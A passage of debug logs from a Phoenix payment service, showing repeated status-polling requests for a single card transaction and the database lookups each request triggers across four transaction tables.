↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:49.894000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57978] Sent 200 in 18ms
[Thu Sep  3 10:04:55.038000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57982] POST /api/device/status
[Thu Sep  3 10:04:55.039000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:57982] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:55.039000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57982] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:55.039000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57982] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:55.054000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57982] QUERY OK source="pos_transaction" db=13.9ms idle=1223.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:55.055000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57982] QUERY OK source="pos_temp_transaction" db=1.1ms queue=0.1ms idle=1237.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:55.059000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57982] QUERY OK source="pos_failed_transaction" db=3.1ms idle=397.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:55.060000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57982] QUERY OK source="cloud_transaction" db=1.1ms idle=242.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:55.061000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57982] Sent 200 in 22ms
[Thu Sep  3 10:04:59.870000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60892] POST /api/device/status
[Thu Sep  3 10:04:59.871000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:60892] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:59.871000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60892] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:59.871000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60892] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:59.884000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60892] QUERY OK source="pos_transaction" db=12.3ms idle=1054.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:59.885000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60892] QUERY OK source="pos_temp_transaction" db=0.4ms queue=0.1ms idle=1067.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:59.888000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60892] QUERY OK source="pos_failed_transaction" db=2.7ms idle=1068.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:59.889000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60892] QUERY OK source="cloud_transaction" db=0.5ms idle=1071.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:59.889000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60892] Sent 200 in 19ms
[Thu Sep  3 10:05:05.043000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60898] POST /api/device/status
[Thu Sep  3 10:05:05.044000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:60898] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:05:05.044000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60898] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:05:05.044000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60898] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:05:05.063000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60898] QUERY OK source="pos_transaction" db=18.1ms queue=0.1ms idle=1228.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:05:05.065000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60898] QUERY OK source="pos_temp_transaction" db=1.4ms queue=0.1ms idle=1246.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:05:05.072000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60898] QUERY OK source="pos_failed_transaction" db=5.8ms queue=0.1ms idle=1248.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:05:05.074000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60898] QUERY OK source="cloud_transaction" db=1.3ms queue=0.2ms idle=1255.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:05:05.074000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60898] Sent 200 in 31ms
[Thu Sep  3 10:05:09.917000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42928] POST /api/device/status
[Thu Sep  3 10:05:09.917000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:42928] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:05:09.917000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42928] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:05:09.917000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42928] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:05:09.932000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42928] QUERY OK source="pos_transaction" db=12.9ms idle=1100.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:05:09.933000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42928] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1114.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:05:09.937000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42928] QUERY OK source="pos_failed_transaction" db=4.0ms idle=1115.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:05:09.938000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42928] QUERY OK source="cloud_transaction" db=0.9ms idle=1119.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:05:09.939000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42928] Sent 200 in 22ms
[Thu Sep  3 10:05:14.830000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42934] POST /api/device/status
[Thu Sep  3 10:05:14.831000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:42934] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:05:14.831000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42934] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:05:14.832000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42934] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:05:14.849000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42934] QUERY OK source="pos_transaction" db=17.3ms idle=1014.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:05:14.851000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42934] QUERY OK source="pos_temp_transaction" db=1.6ms idle=1032.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:05:14.855000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42934] QUERY OK source="pos_failed_transaction" db=3.1ms idle=1034.2ms
